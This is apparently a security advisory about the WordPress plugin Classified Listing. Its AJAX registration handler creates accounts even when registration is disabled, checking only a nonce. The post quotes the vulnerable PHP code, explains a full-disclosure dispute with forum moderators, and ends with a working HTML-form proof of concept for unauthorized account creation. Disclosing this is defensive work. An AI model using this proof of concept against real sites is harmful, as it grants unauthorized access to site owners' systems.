A WordPress Plugin’s Functionality Might Still Be Accessible Even if the UI Is Not Visible
Last week someone posted on the support forum for the WordPress plugin Classified Listing asking if others using the plugin were having new users registering on their websites despite user registration being disabled:
I’ve noticed over the past few days I’ve been getting emails to alert me of new users registering to my site, when the New User Reg is turned off in Classified Listing, as well as the wordpress general settings. Both are turned OFF, so how can someone register to the site?
Anyone else encountering this?
The developer responded that couldn’t be happening, sort of:
I just tested if Account creation is disable then registration form disable. If form not show then no one can register using this form.
Please make sure new user coming from the site where you disable user creation
The developer seems to have ignored the possibility that user registration would be possible without the registration form being visible. We looked to see how the user registration is handled through the plugin and found the request to handle the user registration runs not through the form, but through an AJAX request. Unless there are proper checks in place with that, then it would be possible to register even with the form disabled.
The plugin handles registering a new user through an AJAX accessible function rtcl_registration_request_handler() in the file /app/Controllers/Ajax/PublicUser.php. That function does checks for a valid nonce to prevent cross-site request forgery (CSRF), but doesn’t have any other restrictions before creating a new WordPress account:
208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 | public static function rtcl_registration_request_handler() { if ( ! Functions::verify_nonce() ) { wp_send_json_error( esc_html__( "Session Expired!!", "classified-listing" ) ); } $username = isset( $_POST['username'] ) ? trim( $_POST['username'] ) : ''; $password = isset( $_POST['password'] ) ? trim( $_POST['password'] ) : ''; $email = isset( $_POST['email'] ) ? trim( $_POST['email'] ) : ''; $args = []; if ( ! empty( $_POST['first_name'] ) ) { $args['first_name'] = $_POST['first_name']; } if ( ! empty( $_POST['last_name'] ) ) { $args['last_name'] = $_POST['last_name']; } if ( ! empty( $_POST['phone'] ) ) { $args['phone'] = $_POST['phone']; } try { $validation_error = new WP_Error(); $validation_error = apply_filters( 'rtcl_process_registration_errors', $validation_error, $email, $username, $password, $_POST ); if ( $validation_error->get_error_code() ) { throw new Exception( $validation_error->get_error_message() ); } $new_user_id = Functions::create_new_user( sanitize_email( $email ), Functions::clean( $username ), $password, $args ); |
As long as someone could get access to a valid nonce, then they can send a request to create a new account, even though the user registration form is disabled, as can be confirmed with the proof of concept below. We found that the nonce is at least included on the plugin’s My Account page on the frontend of the website.
Part of the security risk from that is that vulnerabilities in WordPress often are only exploitable by someone logged in to WordPress and WordPress websites by default don’t allow untrusted individuals access to accounts.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept
The following proof of concept will create a new WordPress account.
Replace “[path to WordPress]” with the location of WordPress and “[nonce]” with the value of “__rtcl_wpnonce” on the page /my-account/.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=rtcl_registration_request" method="POST"> <input type="hidden" name="__rtcl_wpnonce" value="[nonce]" /> <input type="hidden" name="username" value="proofofconcept" /> <input type="hidden" name="password" value="proofofconcept" /> <input type="hidden" name="email" value="proofofconcept@example.com" /> <input type="hidden" name="first_name" value="proofofconcept" /> <input type="hidden" name="last_name" value="proofofconcept" /> <input type="hidden" name="phone" value="proofofconcept" /> <input type="submit" value="Submit" /> </form> </body>